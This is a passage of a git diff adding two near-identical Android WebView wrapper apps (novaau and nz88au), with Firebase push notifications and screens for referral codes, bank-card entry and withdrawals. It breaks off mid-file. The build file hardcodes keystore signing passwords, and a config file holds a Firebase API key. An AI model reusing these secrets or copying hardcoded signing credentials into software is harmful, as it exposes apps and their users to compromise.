a/novaau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/novaau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/novaau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/novaau/src/main/AndroidManifest.xml b/novaau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3526416 --- /dev/null +++ b/novaau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/main/java/com/web/novaau/MainActivity.java b/novaau/src/main/java/com/web/novaau/MainActivity.java new file mode 100644 index 0000000..1bef989 --- /dev/null +++ b/novaau/src/main/java/com/web/novaau/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.novaau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 166; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://novaau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0d1d2d"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#3b2c33"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/novaau/src/main/java/com/web/novaau/MyFirebaseMessageingService.java b/novaau/src/main/java/com/web/novaau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..05a0b63 --- /dev/null +++ b/novaau/src/main/java/com/web/novaau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.novaau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/novaau/src/main/java/com/web/novaau/WebApplication.java b/novaau/src/main/java/com/web/novaau/WebApplication.java new file mode 100644 index 0000000..6ff0941 --- /dev/null +++ b/novaau/src/main/java/com/web/novaau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.novaau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/novaau/src/main/res/drawable-anydpi/ic_action_back.xml b/novaau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/novaau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/novaau/src/main/res/drawable-hdpi/ic_action_back.png b/novaau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/novaau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/novaau/src/main/res/drawable-mdpi/ic_action_back.png b/novaau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/novaau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/novaau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/novaau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/novaau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable-xhdpi/ic_action_back.png b/novaau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/novaau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/novaau/src/main/res/drawable-xxhdpi/ic_action_back.png b/novaau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/novaau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/novaau/src/main/res/drawable/big_bg.xml b/novaau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..b576521 --- /dev/null +++ b/novaau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable/ic_launcher_background.xml b/novaau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/novaau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/novaau/src/main/res/drawable/input_bg.xml b/novaau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/novaau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/novaau/src/main/res/drawable/pass_word_bg.xml b/novaau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/novaau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/novaau/src/main/res/drawable/pass_word_bg1.xml b/novaau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/novaau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable/pass_word_bg2.xml b/novaau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/novaau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable/shape_btn_bg.xml b/novaau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/novaau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable/shape_dialog_bg2.xml b/novaau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/novaau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable/shape_dialog_bg3.xml b/novaau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/novaau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/drawable/shape_dialog_bg_new.xml b/novaau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/novaau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/novaau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/novaau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/novaau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/novaau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/mipmap-hdpi/ic_empty.png b/novaau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/novaau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/novaau/src/main/res/mipmap-hdpi/ic_pull_down.png b/novaau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/novaau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/novaau/src/main/res/mipmap-xhdpi/ic_close.png b/novaau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/novaau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/novaau/src/main/res/mipmap-xhdpi/ic_menu.png b/novaau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/novaau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/novaau/src/main/res/mipmap-xxhdpi/app_logo.webp b/novaau/src/main/res/mipmap-xxhdpi/app_logo.webp new file mode 100644 index 0000000..58207a9 Binary files /dev/null and b/novaau/src/main/res/mipmap-xxhdpi/app_logo.webp differ diff --git a/novaau/src/main/res/values-en/strings.xml b/novaau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/novaau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/novaau/src/main/res/values-night/themes.xml b/novaau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/novaau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/values/colors.xml b/novaau/src/main/res/values/colors.xml new file mode 100644 index 0000000..84fa93d --- /dev/null +++ b/novaau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #3b2c33 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/novaau/src/main/res/values/strings.xml b/novaau/src/main/res/values/strings.xml new file mode 100644 index 0000000..7112a73 --- /dev/null +++ b/novaau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + NovaAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/values/themes.xml b/novaau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/novaau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/xml/app_updater_paths.xml b/novaau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/novaau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/main/res/xml/network_security_config.xml b/novaau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/novaau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/novaau/src/main/res/xml/provider_paths.xml b/novaau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/novaau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/novaau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/novaau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/novaau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/nz88au/.gitignore b/nz88au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/nz88au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/nz88au/build.gradle b/nz88au/build.gradle new file mode 100644 index 0000000..818cf38 --- /dev/null +++ b/nz88au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.nz88au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "nz88au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/nz88au/google-services.json b/nz88au/google-services.json new file mode 100644 index 0000000..c28b015 --- /dev/null +++ b/nz88au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "732469955421", + "project_id": "nz88au", + "storage_bucket": "nz88au.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:732469955421:android:eeebb2b4afb6da68fbb6b4", + "android_client_info": { + "package_name": "com.web.nz88au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDCXdcSgk5QlXzFYY85A_S8DfN_H94hkCM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/nz88au/ppn.jks b/nz88au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/nz88au/ppn.jks differ diff --git a/nz88au/proguard-rules.pro b/nz88au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/nz88au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/nz88au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/nz88au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/nz88au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/nz88au/src/main/AndroidManifest.xml b/nz88au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..d065618 --- /dev/null +++ b/nz88au/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/nz88au/src/main/java/com/web/nz88au/MainActivity.java b/nz88au/src/main/java/com/web/nz88au/MainActivity.java new file mode 100644 index 0000000..878ae99 --- /dev/null +++ b/nz88au/src/main/java/com/web/nz88au/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.nz88au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 145; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://nz88au.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#750e07"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fdd7ac"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/nz88au/src/main/java/com/web/nz88au/MyFirebaseMessageingService.java b/nz88au/src/main/java/com/web/nz88au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..e2ff8e3 --- /dev/null +++ b/nz88au/src/main/java/com/web/nz88au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.nz88au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + 